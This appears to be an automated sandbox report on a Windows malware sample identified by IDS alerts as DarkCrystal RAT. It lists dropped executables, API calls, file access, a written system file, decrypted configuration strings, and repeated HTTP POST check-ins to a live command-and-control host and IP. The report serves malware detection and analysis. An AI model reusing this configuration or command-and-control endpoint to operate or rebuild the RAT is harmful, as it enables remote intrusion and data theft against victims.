Source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-hfvbr7qWOm1XHEAbKVKA","0","","","5","2","WyIxIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: 00000008.00000002.1740441058.0000000012EBC000.00000004.00000800.00020000.00000000.sdmp	String decryptor: [["http://797441cm.n9shteam2.top/","Videouploads"]]

Source: t8F7Ic986c.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\A\34\b\bin\amd64\select.pdb source: t8F7Ic986c.exe, 00000000.00000003.1659338173.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\python39.pdb source: t8F7Ic986c.exe, 00000001.00000002.1667701805.00007FFDFB989000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_bz2.pdb source: t8F7Ic986c.exe, 00000000.00000003.1655924578.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _bz2.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdbMM source: t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: D:\a01\_work\26\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: t8F7Ic986c.exe, 00000000.00000003.1655768186.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, t8F7Ic986c.exe, 00000001.00000002.1668672484.00007FFE148C1000.00000002.00000001.01000000.00000005.sdmp, VCRUNTIME140.dll.0.dr
Source:	Binary string: C:\A\6\b\libcrypto-1_1.pdb source: libcrypto-1_1.dll.0.dr
Source:	Binary string: .pdbza, source: Memory Compression.exe, 00000025.00000002.1832528116.000000001B2EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\34\b\bin\amd64\_hashlib.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656219282.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _hashlib.pyd.0.dr
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: libcrypto-1_1.dll.0.dr
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1k 25 Mar 2021built on: Tue Apr 6 11:26:02 2021 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: libcrypto-1_1.dll.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_socket.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656458098.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _socket.pyd.0.dr
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\fvh1uhfy\fvh1uhfy.pdb source: Chaindriver.exe, 00000008.00000002.1728153566.000000000376F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: BoosterX.exe, 00000004.00000000.1662947336.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmp, BoosterX.exe, 00000004.00000002.1673716023.00007FF6C0398000.00000002.00000001.01000000.00000006.sdmp, Chaindriver.sfx.exe, 00000007.00000000.1672760470.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmp, Chaindriver.sfx.exe, 00000007.00000002.1686794737.00007FF720B78000.00000002.00000001.01000000.0000000C.sdmp, Chaindriver.sfx.exe.4.dr, BoosterX.exe.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_decimal.pdb## source: _decimal.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_lzma.pdb source: t8F7Ic986c.exe, 00000000.00000003.1656330842.000001A2123A5000.00000004.00000020.00020000.00000000.sdmp, _lzma.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\unicodedata.pdb source: t8F7Ic986c.exe, 00000000.00000003.1659486333.000001A2123AC000.00000004.00000020.00020000.00000000.sdmp, unicodedata.pyd.0.dr
Source:	Binary string: C:\A\34\b\bin\amd64\_decimal.pdb source: _decimal.pyd.0.dr

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652ED8D00 FindFirstFileExW,FindClose,	0_2_00007FF652ED8D00
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EE8670 _invalid_parameter_noinfo,FindFirstFileExW,GetLastError,_invalid_parameter_noinfo,FindNextFileW,GetLastError,	0_2_00007FF652EE8670
Source: C:\Users\user\Desktop\t8F7Ic986c.exe	Code function: 0_2_00007FF652EF26C4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF652EF26C4
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C036407C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF6C036407C
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C037B110 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	4_2_00007FF6C037B110
Source: C:\Users\user\AppData\Local\Temp\_MEI75042\BoosterX.exe	Code function: 4_2_00007FF6C038FC20 FindFirstFileExA,	4_2_00007FF6C038FC20
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B5B110 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	7_2_00007FF720B5B110
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B4407C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	7_2_00007FF720B4407C
Source: C:\Chaindriver.sfx.exe	Code function: 7_2_00007FF720B6FC20 FindFirstFileExA,	7_2_00007FF720B6FC20

Source: C:\Chaindriver.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Chaindriver.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49738 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49737 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49740 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49820 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49788 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49841 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49859 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49809 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49995 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:50015 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:50013 -> 185.158.202.52:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:50014 -> 185.158.202.52:80

Source: Joe Sandbox View

ASN Name: PREVIDER-ASNL PREVIDER-ASNL

Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 336Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 OPR/81.0.4196.60Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: 797441cm.n9shteam2.top

Source: unknown

HTTP traffic detected: POST /Videouploads.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: 797441cm.n9shteam2.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:42:09 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:42:37 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:42:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:42:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:42:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:43:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 02 Jan 2025 06:43:05 GMTContent-Type: text/html; charset=UTF-8Content-Length: 213Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 0d 0a 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
